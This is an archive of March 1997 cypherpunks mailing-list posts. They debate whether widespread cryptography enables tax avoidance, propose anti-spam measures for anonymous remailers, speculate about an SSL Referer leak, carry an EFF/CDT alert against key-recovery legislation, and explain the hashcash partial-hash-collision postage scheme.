From: Hal Finney <hal@rain.org>
To: cypherpunks@toad.com
Subject: Hard to Tax Scenario
Cc: hanson@hss.caltech.edu
Sender: owner-cypherpunks@toad.com
Precedence: bulk

Robin Hanson, inventor of the Idea Futures prediction market, is a very
creative and thoughtful writer who has posted to this list occasionally.
He says he sent the message below to the CP list over the weekend, but
I didn't see it.  I am including it (in bits and pieces) in its entirety
for the benefit of others who may also have missed it.

Robin Hanson, <hanson@hss.caltech.edu>, writes:

> Hi.  The volume here is too high for me to subscribe regularly, but I
> subscribed recently so I could ask the following question:
>
>   How well thought out is the notion that widespread crypto could
>   allow a large fraction (>30%?) of the economy to avoid taxation?
>
> I've heard this speculation many times, and just saw it in print in,
> in David Friedman's article in the summer '96 issue of Social
> Philosophy and Policy.  But I have trouble imagining how it could
> work.

For those who don't know, by the way, David Friedman is the son of
Nobel prize winning economist Milton Friedman.  Both father and son
have libertarian leanings, and David in particular has tackled some
of the hardest problems which would be faced by an anarchic society.

> Imagine Ann is a doctor who wants to ply her trade without taxation.
> Patients go a local high res medical net booth, which Ann runs from
> long distance using several real time digital mixes.  To do this, Ann
> spends most of each day in her expensive home VR room.

So we are imagining a future scenario in which medicine is commonly if
not universally practiced via these remote means?  Or do we have two
classes of doctor, the anonymous virtual ones and the identified ones
that you go and see in person?  I ask because at least some of the
difficulties Ann faces seem due to her virtual practice.

> Patients pay Ann in untraceable cash, which she uses to pay for
> groceries and other net services.  Her cover story about why she
> spends so much time in her home VR room, and how she pays for
> groceries, is that she is a receptionist for some sham company.

The need for a cover story raises the question of from whom Ann has
to keep her secrets.  In a society where (we will stipulate) 30% avoid
taxation, the moral significance of not paying taxes will be different
than it is today.  We had some interesting posts in an earlier discussion
on this list describing the situation in Italy, where apparently tax
avoidance is raised to a higher degree than in the U.S.  It sounded like
it has the approximate moral status that speeding does here, a minor
infraction which almost everyone does some if not all of the time.
In some sub-cultures no doubt the tax avoidance rate would be even higher.

In such a society Ann may not have to care that much about keeping her
secrets, as long as she doesn't have too high a profile at tax time.

> Ann has many collegues which she does business with regularly,
> including equipment suppliers, a pharmacist, a nurse practitioner,
> emergency substitutes, and various specialists.  Ann has never met any
> of these people in person, and they all show each other fake faces,
> voices, and even rythms of walking and speaking.  Ann's social life
> outside VR is entirely divorced from her work life.

Well, that last part is true for me already; I telecommute to a company
300 miles away and have no social life with my co-workers.  For that
matter my wife and I have practiced cocooning for several years,
and I haven't had a close friend from work since the early 1980's.
Being married makes this easier, of course.

The other part of this scenario, where Ann interacts with her co-workers
via fake faces, does seem disturbing.  I could imagine, though, that this
might be common in such a culture.  Maybe everyone pretties themselves
up when on the videophone.  If there is widespread understanding that
most faces are at least somewhat false, then perhaps going all the way
to a completely faked up face would seem more acceptable.  But to someone
from my generation it will be hard to accept.

> To convince patients to trust her, Ann gets bonded by a certification
> service.  To obtain this certification, Ann must be careful to not
> refer to any people who know her "true name", such as her teachers at
> the physical school she physically attended.  And Ann must somehow
> assure the certification service that she will not resell the
> certification, allowing others to pretend that they are her.

It is possible that we might see a more performance-based certification
rather than a recommendation based one.  My wife is a physical therapist,
and she had to pass a licensure exam given by the state which qualifies
her to practice.

In an earlier message to me Robin pointed out the crucial role played
by recommendations in hiring decisions.  Certainly I would be much more
likely to hire someone who listed his previous jobs and for whom I could
get good recommendations by his earlier supervisors than an applicant
who insisted that this information was confidential.

Robin also suggested that there could be a selection effect, so that the
doctors from good schools with good grades would use these advantages to
maximize their income, and so the only anonymous ones would be the ones
who didn't have these qualifications.  This could lead to a situation
where most anonymous service providers were assumed to be inferior to
regular ones, so they would get less money even if they were actually
just as good.  (I apologize to Robin if I missed the point of his
earlier discussion or am presenting it incorrectly.)

Even with such disadvantages, a doctor like Ann might accept a lower fee
at first while she builds up her reputation as an anonymous doctor with
talent and ability.  After a few years she could hope to have overcome
the stigma which (we will suppose) anonymous doctors face and display
some strong recommendations based on her successes.  In the long run
this could be a winning strategy due to the tax savings.

(I haven't given the problem of reselling certificates enough thought to
discuss it in any detail.  There have been some discussions of "is a
person" credentials which could apply, but that opens up a big can of
worms.)

> If Ann ever slips up, revealing her true name to a virtual associate,
> failing to convince a physical associate of her sham employment,
> or if anyone ever breaks through her realtime digital mixes, Ann
> is open to expensive blackmail, she may have to start over with a
> new virtual persona, and may have to go to jail for a long time.

This is an interesting problem which I haven't seen discussed before
in this form.  In Vinge's original "True Names" people were afraid of
harrassment and physical threats if their identity were discovered, but
Robin's example of the danger of being exposed as a tax evader could be
very bad as well.  If there is this much tax avoidance, we might assume
that tax rates are high, and penalties for tax evasion are high as well.
On the other hand, if tax evasion is nearly universally practiced,
perhaps there are strong cultural pressures against turning someone in.

There is also the question of how good the technology is for anonymous
communication.  At best it would appear to require a widespread infra-
structure, and if this is used largely for tax evasion it is hard to see
how it could survive.  So I think this would be a very significant issue
to be faced by the prospective 'nym.

> It seems to me that Ann is paying a high price for an ability to
> avoid taxation, and at current tax rates it is hard for me to believe
> that she wouldn't just rather pay the taxes.  What am I missing?
>
> Robin D. Hanson  hanson@hss.caltech.edu  http://hss.caltech.edu/~hanson/

It is hard to judge how high the various prices are that she pays.
The socialization aspect may not be important if she has friends outside
work.  The risks of being caught will depend on factors we don't know,
like the technology and legal system.  Rather than assuming that tax
rates are the same, it might be more plausible to assume they have gone
up in order to keep revenues stable.

Another problem which Robin didn't mention is the issue of insurance
payments.  It is hard to see how Ann's patients can get reimbursed for
their expenses if we assume that Ann is in effect a "black market" doctor.
This problem may be somewhat specific to the medical scenario, but I
suspect that many other professions are going to have trouble switching
to a cash basis.  Anyone whose customers are businesses, for example,
will face the problem that the businesses' books will need to show that
an expense is justified in order to deduct it.  This will be a major
problem for the "anonymous firm" we have discussed occasionally.

One difficulty I find with this scenario is its science fictional nature.
It is hard for me to consider details about the life of a doctor who works
via VR.  Also, if we are already in a situation where 30% of people are
avoiding taxes there will certainly have been major changes in society,
but I don't know what they will be.  This makes it hard for me to focus
on the issues specific to Ann's anonymity.  However I do like Robin's
choice of a concrete and vivid example like this.

Hal







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sergey Goldgaber <sergey@el.net>
Date: Fri, 28 Mar 1997 21:49:32 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: remailer spam throttle
In-Reply-To: <TH804D2w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.95.970329004311.157C-100000@void.el.net>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 28 Mar 1997, Dr.Dimitri Vulis KOTM wrote:

-> I just came up with another idea which definitely has some holes in it,
-> but perhaps someone wants to improve on it.
-> 
-> There's a big distributed database of pgp keys on the several keyservers.
-> Add a bit to the database specifying whether the key owner wants to receive
-> anonymous e-mail.  By default set it to true for the existing addresses.
-> 
-> When the final remailer in the chain wants to send someone an anonymous
-> message, it attempts to retrieve a key from the keyservers.
-> 
-> If it fails to find a key, it junks the mail (you don't want to keep it
-> around, it's baiting the LEAs!) and instead sends a notification to the
-> recipient that some anon e-mail was addressed to it, but it was junked;
-> and if they want to receive anon e-mail, they need to give a pgp key
-> to one of the key servers this remailer uses.
-> 
-> If it finds a key, it looks at the anon mail bit; if it's on, it encrypts 
-> the e-mail with the recipient's key and sends it; otherwise it junks it.
-> 
-> Obviously, the key servers would need to be modified to allow users to
-> specify whether they want anon e-mail when then store their keys, and
-> to change this setting any time.
-> 
-> Right now, there's a very large number of addresses in the key servers.
-> Instantly making them into a list of addresses that accept anon mail
-> will make it hard (hopefully infeasible) for the LEAs to investigate
-> everyone willing to accept anon e-mail as a suspect in sending it.

Unfortunately, key servers can not be trusted.  I'm sure you're aware that
anyone can submit a key, and thus forgeries abound.

If the above model is adopted, key servers will be the first target of
the prospective spammer.


 ............................................................................
 . Sergey Goldgaber <sergey@el.net>      System Administrator        el Net .
 ............................................................................
 .   To him who does not know the world is on fire, I have nothing to say   .
 .                                                      - Bertholt Brecht   .
 ............................................................................





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Fri, 28 Mar 1997 21:43:04 -0800 (PST)
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: SSL weakness affecting links from pages with GET forms
In-Reply-To: <3.0.1.32.19970328195526.0066f3a0@popd.ix.netcom.com>
Message-ID: <Pine.LNX.3.95.970329003609.3732A-100000@purple.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Fri, 28 Mar 1997, Bill Stewart wrote:

> http://www.zdnet.com:80/intweek/daily/970327x.html
> has an article about an SSL problem that affects both Netscape
> and MicrosoftIE browsers, leaking "secure" data such as
> credit card numbers from web pages with GET-based SSL forms on it.
> It was discovered by Dan Klein.
> 
> There isn't specific detail about how the flaw works,
> but it says that it affects GET forms but not POST.
> Commentary from NS, MS, Gene Spafford, and Steve Bellovin.
> 
>    "It's like you've gone to the restaurant with your lover," Klein said. 
>    "The restaurant is there, it's private, yet when you leave the restaurant 
>    you have the menu in your hand and there's food all over your shirt."

I would guess that this means that Netscape and Explorer send the complete
URL of the page that linked to another site in the "HTTP-REFERER" header in
the clear when SSL is used.  The only temporary solution is to use a local web
proxy that removes this header, or, as the article suggests, manually type in
an URL that is linked from a page using SSL.  I can't think of too many
situations where one might follow a link to another site immediately after
sending sensitive information, but the contents of the "HTTP-REFERER" header
are often logged, and the log is often world-readable...

> 
> 
> 
> #			Thanks;  Bill
> # Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
> # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
> #     (If this is a mailing list, please Cc: me on replies.  Thanks.)
> 
> 


Mark
-----BEGIN PGP SIGNATURE-----
Version: 2.6.3
Charset: noconv

iQEVAwUBMzytJyzIPc7jvyFpAQE3gAf/frvfAWg44mEeg2AyhxlFKBmmh3yWEtmq
l8np9nTMz20/PHcF2uzDHrpSEcAY2WPcvEvu+57QGelU0H2LoH2qGFNeVisPQURE
9F5gUZvFeyubL9UVLlUoxVIMCumLM+y31zqVaMb8GwwGnHWNcHc1rqnUhchYamiJ
BbU04U3xaF5b5/mMBzKTU/tfTajeIDsAl0dhk0rzvXAMN2n26idoWic39ZzhHnsE
QOOfi4oI8XK4cMbjOKbwnSR7Xbt78800vilyp+mvkfgp/bR6ygougYzYz1s9dNY3
HgGpnuxDzFoHnqlIQ7in3N+QXXzSNh8TiVfU6w3PjoRk3RNZHX+DTQ==
=QOto
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Shabbir J. Safdar" <shabbir@vtw.org>
Date: Fri, 28 Mar 1997 23:14:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: ALERT: White House denigrating your right to secure your privacy (3/28/1997)
Message-ID: <199703290715.CAA21838@panix3.panix.com>
MIME-Version: 1.0
Content-Type: text/plain


==============================================================================
  ___  _     _____ ____ _____ _
 / _ \| |   | ____|  _ \_   _| |         THE CRYPTO BATTLE HAS BEGUN!
| |_| | |   |  _| | |_) || | | |  CLINTON ADMINISTRATION PROPOSES CONTROL OF
|  _  | |___| |___|  _ < | | |_|     ENCRYPTION FOR AMERICANS ON U.S. SOIL
|_| |_|_____|_____|_| \_\|_| (_)               March 28, 1997

                 Do not forward this alert after May 1, 1997.

                         This alert brought to you by:
                     Center for Democracy and Technology
                                  Eagle Forum
                       Electronic Frontier Foundation
                       Voters Telecommunications Watch
                                 Wired Magazine
_____________________________________________________________________________
Table of Contents
      What's Happening Right Now
      What You Can Do Now
      Background
      What's At Stake
      Supporting Organizations

_____________________________________________________________________________
WHAT'S HAPPENING RIGHT NOW

On March 26, 1997, the Clinton Administration proposed draft legislation
which would, for the first time, impose DOMESTIC RESTRICTIONS on the
ability of Americans to protect their privacy and security online.

In its current form, the draft bill seeks to impose a risky
"key-recovery" regime which would compel American citizens to ensure
government access to their private communications. Law enforcement and
national security agents would not even need a court order to access
private decryption keys.

Congress is currently considering three separate bills which would
prohibit the government from imposing "key-recovery" domestically, and
encourage the development of easy-to-use, privacy and security tools
for the Net.

As more and more Americans come online, the Administration's plan is a
giant step backwards and would open a huge window of vulnerability to
the private communications of Internet users.  Americans expect more
when conducting private conversations with their doctors, families,
business partners, or lawyers.

Please read the Alert below to find out what you can do to protect your
privacy online.

________________________________________________________________________________
WHAT YOU CAN DO

1. Adopt Your Legislator

   Now is the time to increase our ranks and prepare for the fight that lies
   a head of us in Congress.  The time to blast Congress or the White House
   with phone calls and emails will come, but now is not the appropriate
   moment.

   Instead, please take a few minutes to learn more about this important
   issue, and join the Adopt Your Legislator Campaign at
   http://www.crypto.com/adopt/

   This will produce a customized page, just for you with your own
   legislator's telephone number and address.

   In addition, you will receive the latest news and information on the
   issue, as well as targeted alerts informing you when your
   Representatives in Congress do something that could help or hinder
   the future of the Internet.

   Best of all, it's free.  Do your part, Work the Network!

   Visit http://www.crypto.com/adopt/ for details.

2. Beginning Monday March 31, call the White House

   Internet public interest advocates continue to work the Hill in support
   of the three true encryption reform bills in Congress, Pro-CODE, SAFE, &
   ECPA II.  If you still feel a need to voice your opinion, however, you can
   call the White House to express your opinion.

   Step 1 - Beginning Monday March 31, call the White House

        Call 202-456-1111 9am-5pm EST.  Ignore the voice mail survey and
        press '0' to get a comment line operator.
            
   Step 2 - Tell them what you think about intrusions into your privacy!

	Operator: Hello, White House comment line!

SAY     YOU: I'm calling to oppose president's Internet encryption bill.
THIS ->      It infringes on the privacy of Americans. We need a solution
             to the encryption issue that protects privacy, and this is not
             it.

        Operator: Thank you, I'll pass that along to the President.

3. Spread the Word!

  Forward this Alert to your friends. Help educate the public about the
  importance of this issue.

  Please do not forward after May 1, 1997.

_____________________________________________________________________________
BACKGROUND

Complete background information, including:

* A down-to-earth explanation of why this debate is important to Internet users
* Analysis and background on the issue
* Text of the Administration draft legislation
* Text of Congressional proposals to reform US encryption policy
* Audio transcripts and written testimony from recent Congressional Hearings
  on encryption policy reform
* And more!

Are all available at http://www.crypto.com/
________________________________________________________________________
WHAT'S AT STAKE

Encryption technologies are the locks and keys of the Information age
-- enabling individuals and businesses to protect sensitive information
as it is transmitted over the Internet. As more and more individuals
and businesses come online, the need for strong, reliable, easy-to-use
encryption technologies has become a critical issue to the health and
viability of the Net.

Current US encryption policy, which limits the strength of encryption
products US companies can sell abroad, also limits the availability of
strong, easy-to-use encryption technologies in the United States. US
hardware and software manufacturers who wish to sell their products on
the global market must either conform to US encryption export limits or
produce two separate versions of the same product, a costly and
complicated alternative.

The export controls, which the NSA and FBI argue help to keep strong
encryption out of the hands of foreign adversaries, are having the
opposite effect. Strong encryption is available abroad, but because of
the export limits and the confusion created by nearly four years of
debate over US encryption policy, strong, easy-to-use privacy and
security technologies are not widely available off the shelf or "on the
net" here in the US. 

A recently discovered flaw in the security of the new digital telephone
network exposed the worst aspects of the Administration's encryption
policy.  Because the designers needed to be able to export their
products, the system's security was "dumbed down".  Researchers subsequently
discovered that it is quite easy to break the security of the system and
intrude on what should be private conversations.

This incident underscores the larger policy problem: US companies are
at a competitive disadvantage in the global marketplace when competing
against companies that do not have such hindrances.  And now, for the first
time in history, the Clinton Administration has DOMESTIC RESTRICTIONS on the
ability of Americans to protect their privacy and security online.

All of us care about our national security, and no one wants to make it
any easier for criminals and terrorists to commit criminal acts. But we
must also recognize encryption technologies can aid law enforcement
and protect national security by limiting the threat of industrial
espionage and foreign spying, promote electronic commerce and protecting
privacy.

What's at stake in this debate is nothing less than the future of
privacy and the fate of the Internet as a secure and trusted medium for
commerce, education, and political discourse.

______________________________________________________________________________
SUPPORTING ORGANIZATIONS

For more information, contact the following organizations who have signed onto
this effort at their web sites.

Center for Democracy and Technology                      http://www.cdt.org
    Press contact: Jonah Seiger, +1.202.637.9800
Eagle Forum                                       http://www.eagleforum.org
    Press contact: Phyllis Schlafly, +1.314.721.1213
Electronic Frontier Foundation                           http://www.eff.org
    Press contact: Stanton McCandlish, +1.415.436.9333
Voters Telecommunications Watch                          http://www.vtw.org
    Press contact: Shabbir J. Safdar, +1.718.596.7234
Wired Magazine                                         http://www.wired.com
    Press contact: Todd Lappin, +1.415.276.5224

______________________________________________________________________________
end alert
==============================================================================




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Foley <mycroft@actrix.gen.nz>
Date: Fri, 28 Mar 1997 09:46:27 -0800 (PST)
To: dlv@bwalk.dm.com
Subject: Re: spam
In-Reply-To: <V5H74D19w165w@bwalk.dm.com>
Message-ID: <199703281745.FAA08525@mycroft.actrix.gen.nz>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 26 Mar 97 09:58:54 EST, Dimitri Vulis KOTM wrote:

    > A while back we discussed on the cp mailing list a spec for a system that
    > provide junk e-mailers for free with a list of (hashed) addresses that
    > should be removed from any mass e-mail lists. Is anyone interested in
    > talking about the technical aspects of such a system?

Is there really anything to talk about?

I just implemented such a thing using SHA1 hashes.  Source code, a
database consisting of my address, and a Linux binary are available
(volunteers to compile other binaries, provide an FTP server, or add
their address(es) are welcome!)

It can add and delete addresses, check whether addresses are blocked,
and filter a list of addresses from stdin.  The database is stored as
a text file with the hexadecimal representation of the hashes written
one per line [actually, the first 0<=n<=5 digits of the hash are
appended to the file name, using multiple files to improve search
speed.]

-- 
Paul Foley <mycroft@actrix.gen.nz>       ---         PGPmail preferred

	   PGP key ID 0x1CA3386D available from keyservers
    fingerprint = 4A 76 83 D8 99 BC ED 33  C5 02 81 C9 BF 7A 91 E8
----------------------------------------------------------------------
A father doesn't destroy his children.
		-- Lt. Carolyn Palamas, "Who Mourns for Adonais?",
		   stardate 3468.1.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vincent Cate <vince@offshore.com.ai>
Date: Sat, 29 Mar 1997 04:38:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: RE: Hard to Tax Scenario
Message-ID: <Pine.LNX.3.95.970329084225.8668A-100000@online.offshore.com.ai>
MIME-Version: 1.0
Content-Type: text/plain



> Robin Hanson, <hanson@hss.caltech.edu>, writes:
> 
> >   How well thought out is the notion that widespread crypto could
> >   allow a large fraction (>30%?) of the economy to avoid taxation?
> [...]
> > Imagine Ann is a doctor who wants to ply her trade without taxation.

The good doctor Ann is not in the easy 30%, unless she is selling a
medical book she wrote over the Internet, or something like that.
There will be people who are much easier to tax than others, and I 
think Ann is one of those.

Today painters, plumbers, etc often give big discounts for cash payments.
The reason is they do not want to report their earnings.

Today many many people on welfare do odd jobs and take their checks to
places with signs like "Checks cashed - no ID required - 6%".  They
probably actually show ID, but the merchant cashing the check does not
write down a social security number.  The guy on welfare does not have
this earning tied to his social security number.  This is a very good
thing for him, because if the government knew he earned $100 they would
take $95 off his welfare check.  So it is much like he is avoiding his 95%
tax bracket.  And it is amazing to me how many people think, "those evil
businesses, taking advantage of those poor people who are too stupid to
open a bank account and so pay 6% to cash checks".  This is rational self
interest at work here, not stupidity.

If you add the painters, welfare people, drug dealers, etc.  We could well
be close to 30% of the economy long before all the cypherpunks form
corporations in Anguilla. 

  - Vince Cate







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 29 Mar 1997 08:56:45 -0800 (PST)
To: das@razor.engr.sgi.com
Subject: Re: [ANNOUNCE] hash cash postage implementation
In-Reply-To: <9703281824.ZM5275@razor.engr.sgi.com>
Message-ID: <199703291432.OAA00597@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Anil Das <das@razor.engr.sgi.com> writes:
> 	How does Dr. Bernstein's announcement of finding
> a 56 bit collision in md5 using a few hours on a Pentium
> affect this scheme? It was not clear from his post whether
> he was looking for a collision with a known hash, or just
> two different strings with a collision of the given length.

It is interesting that you should reference Dan Berstein's sci.crypt
post of a couple of days ago, as his post is what started me thinking
about using partial hash collisions as an anti-spam postage system
which preserves anonymity.  Also Rivest and Shamir have a system which
I was aware of called "MicroMint" which makes more complex use of
k-way hash collisions as the basis for a complete micro-payment
system.  Hal Finney described their system in outline a few days ago
on cypherpunks, and pointed out the similarity.

For remailers and spam control, the requirement is for a function
which is expensive to compute, but easy to verify.  The partial hash
collision satisfies this and can be arbitrarily expensive (1/100
second to 100s of MIPs years), and yet can be verified instantly.  The
hashcash proposal uses this function as the basis of a decentralised
approach to reduce abuse of non-metered internet resources.  

There are no banks, brokers or any other legally targetable entities
which will get shutdown, or coerced into adding identity escrow if
used for postage in anonymous communication.  As a result of this, the
recipient (an anonymous remailer, or private user) of the cash gains
no value which can be converted into other currencies, but rather the
assurance that the sender has spent more computing resources preparing
the message than he will in processing the mail request.

I'm fairly sure that Dan Bernstein was talking about a birthday
attack, as he was referring to the fact that he had used some
technique to keep the storage requirement down, and suggested that
those who claimed birthday attacks required high storage where wrong.

I think he was found an arbitrary 2-way collision.

Arbitrary in the sense that you don't care where the bits that collide
are in the hash outputs.

And 2-way in the sense that you are trying to find a hash collision of
any message texts (you don't care what), ie in:

	X = H( M )
	Y = H( N )

you are trying to find an M and N such that the bits of X and Y are
the same in n bit locations for an n-bit collision.

If you accept arbitrary collisions it makes the job easier (few of the
arbitrary collisions you find will have thier bits in your chosen
location if you specify restrictions on acceptable locations for the
colliding bits).

Hashcash does not accept arbitrary collisions, the only collisions
considered accepted by the client must be in the n MSbits.

Hashcash is trying to find a collision to a specific string, so it
does not involve the storage complexities of finding birthday attacks,
or the methods of finding them with lower storage requirments traded
for higher overhead.

Specifically, the hashcash client it is trying to find an n-MSbit
collision on the hash of M:

	M = day | resource-name
	X = H( M ) = H( day | resource-name )

The client looks for collisions on texts of the form:

	M' = M | counter = day | resource-name | counter
	X' = H( M' ) = H( day | resource-name | counter )

So, it's algorithm in finding hash collisions is incredibly simple:

	1. calculate X = H( day | resource-name )
	2. counter = random-start-point
	3. calculate X' = H( day | resource-name | counter )
	4. if the first n-bits of X and X' are equal STOP
	5. counter = counter + 1 
	6. goto 3.

The hash collision postage is M' = day | resource-name | counter.

And there is no easier way to find collisions if the hash function H
is one way and collision resistant, as the output bits can for these
purposes be treated as individual random variables having value 0 or 1
with 50% probability.  It is basically like tossing n coins in a row
seeing if the coins are all equal to your chosen set of outputs (head
= 0, tail = 1).

Funcion H in the hashcash implementation is SHA1.  The actual hash
used in effect is the short hash formed by discarding the remaining
160 - n bits of the 160 bit SHA1 output.


The hashcash client includes the "day" which is the days since 1 Jan
1970 to allow validity periods to be determined by acceptors of ecash,
or expiry dates for services charged for in hashcash.

The main purpose of the day field being hashed in is to allow the
hashcash acceptor to limit the size of his double spending database.

The purpose of the "resource-name" is to ensure that cash can not be
double spent by spending at different remailers, or different email
recipients.  The resource has a name (the email address, short
remailer name, whatever), and anyone who chooses a non-unique name
opens themselves up to double spending.  So the cash is recipient
specific.


You could if you wished use the hashcash client to implement a
centralised double spending database, and provide online verification
so that service providers can check for double spending.

This gives the advantage that the user can create some collisions
without having to decide on who to spend them on in advance.

For email I don't think it's worth it because the main intention is to
force the spammer to bear higher computer resource overheads than the
innocent by-standers (remailers, and recipients of unsolicited mass
mailings).

> > (Also I have not tested my SHA1 implementation on a big endian machine, it
> > auto-detects byte endian-ness, theoretically).
> 
> % ./sha1test
> test 1

Good, my bigendian check works.

> SHA1("abc") =
>         a9993e364706816aba3e25717850c26c9cd0d89d test ok
>
> % ./hashcash -t -22
> speed: 70921 hashes per sec
> find: 22 bit partial sha1 collision
> estimate: 30 seconds

Envious of your compute power -- about 10x my 120Mhz 486 linux based
system :-)

Adam

-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 29 Mar 1997 13:44:00 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: remailer spam throttle
In-Reply-To: <859624737.1120319.0@fatmans.demon.co.uk>
Message-ID: <THFc5D2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


paul@fatmans.demon.co.uk writes:

> > > Well, they can compile the list of addresses off of USENET postings and
> > > such and then compute the hashes of the compiled names and identify
> > > those that are on the anon acceptance list. Not that it completely
> > > invalidates the idea, but certainly it is a problem.
>
> If a time delay isn`t a problem a remailer could operate on the list
> with a MAC, if someone wants to find out if a name is on the list
> they submit a request to the remailer operator who daily executes a
> batch job using a (memorised) key to verify the hashes against one
> another.
>
> Of course this gives no protection against the scenario of a law
> enforecement agency or shady TLA comprised of men in long black
> trenchcoats demanding the operator reveal the key to the MAC. I
> suppose there is always "I have forgotten the key, officer"..... ;-)

Yes. The remailer should contain as little "interesting" information
as possible at any given time, even if it's encrypted.

> > X sends 1000 copies of child porn/seditious libel to 100 people believed no
> > to be using remailers right now.  The remailer keeps the 100 e-mails onits
> > hard disk and e-mails each receipient a ping, inviting them to agree to the
> > disclaimer terms and to retrieve their anonymous e-mail.  The first recipie
> > to retrieve the e-mail gets upset and contacts the feds.  The feds figure,
> > remailer still has the 99 other e-mails and the information on who's suppos
> > to receive them in its queue; why not seize it and take a look.
>
> A possible solution to this is to set a time limit, say 24 hours on
> how long a proposed recipient may take to respond to a request for
> permission to send the mail. The remailer then sends the mail
> simultaneously to all those who agreed, those who declined to accept
> the mail or failed to repond are removed from the recipient list.

*If* the remailer keeps the e-mail until the recipient agrees to the
disclaimer and fetches it, then the timeout period should be longer
than 24 hours.  Not everyone checks their e-mail every 24 hours.
E.g., sometimes I'm away and don't check it for 3 or 4 days.
A friend of mine checks hers once or twice a week because she
doesn't get much.

Of course I'm advocating something more draconian - discard the
e-mail at once if the recipent isn't known and e-mail them how
they can get their mail next time.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 29 Mar 1997 13:42:20 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: remailer spam throttle
In-Reply-To: <199703290514.XAA00820@smoke.suba.com>
Message-ID: <goFc5D3w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


> > That's a good idea, but it'll take up a lot of disk space at the
> > machine running the remailer.  Right now, remailers that provide
> > latency don't keep an e-mail for more than about 12 hours. Once
> > you start keeping them around for a few days (a reasonable grace
> > period for a first-time user), it's a lot more disk space.
>
> 	How 'bout this:
>
> 	There is (as we all know) a newsgroup for anonymous messages, Simply
> encrypt the message with one half of a public key pair, and send the other
> to the individual with a message saying that there is a message waiting
> for you on alt.anonymous.messages with a subject of ^CHojnafy&Ys9. This is
> the key to decrypt the first level. If you do not have access to usenet,
> you can get the message from www.dejanews.com &etc.

I don't like this for only one reason: you'll be wasting disk
space at thousands of usenet sites. I happen to think that alt.anonymous.
messages is a really wasteful communications channel. If it were used for
all the traffic now caried by the remailers, many syadmins would stop
carrying it (a lot of useless traffic). I would have if I had carried it. :-)

Also it's not fair to assume that everyone with access to e-mail can
also get web or usenet. One example that's still fairly common in a
user on a corporate computer behind a firewall.

> 	The encryption by the endpoint remailer is not intended to
> supply complete privacy, but rather to provide an additional level of
> protection for those who don't encrypt to begin with.

If the key is generated by the remailer, then a LEA might go on a fishing
expedition trying to figure how the key was generated and whether they can
generate the same key again. It's safer not to generate random keys.

> 	This has the benefit of (1) not dumping the email into a persons
> mail box, so they don't get "spam" they don't want. (2) getting possibly
> illegal material off the remailer machine as quickly as possible (well,
> off the remailer portion anyway, if the news spool is on the same machine,
> that is a different legal battle) and (3) disassocating the sender and
> receiver a little more.

These are all good things; I just wish they could be accomplished in a less
wasteful manner.  To replicate a file at thousands of usenet servers which
can only be decrypted by one person is, in my opinion, selfish net-abuse.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 29 Mar 1997 16:10:26 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: remailer spam throttle
In-Reply-To: <Pine.LNX.3.95.970329004311.157C-100000@void.el.net>
Message-ID: <g5Fc5D4w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Sergey Goldgaber <sergey@el.net> writes:
> -> Right now, there's a very large number of addresses in the key servers.
> -> Instantly making them into a list of addresses that accept anon mail
> -> will make it hard (hopefully infeasible) for the LEAs to investigate
> -> everyone willing to accept anon e-mail as a suspect in sending it.
>
> Unfortunately, key servers can not be trusted.  I'm sure you're aware that
> anyone can submit a key, and thus forgeries abound.
>
> If the above model is adopted, key servers will be the first target of
> the prospective spammer.

Why Sergey, you mean to tell me that there are key servers out there that
accept a key from a purported address and don't send back a cookie to that
address to see if it's not fake? :-) That's just terrible. Definitely no
key coming from such a server should be trusted. :-) :-)

Today is March 29, 1997 - almost April 1st. The Internet ain't what is
used to was 15 or 10 or even 2 years ago. If you get an e-mail that
purports to be from X, and it requests that you add X's public key
to your key server, or (un)subscribe X to a mailing list, or
block X from receiving anonymous e-mail - it may be a forgery.
Never act on such requests without trying to authenticate them
with a cookie.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




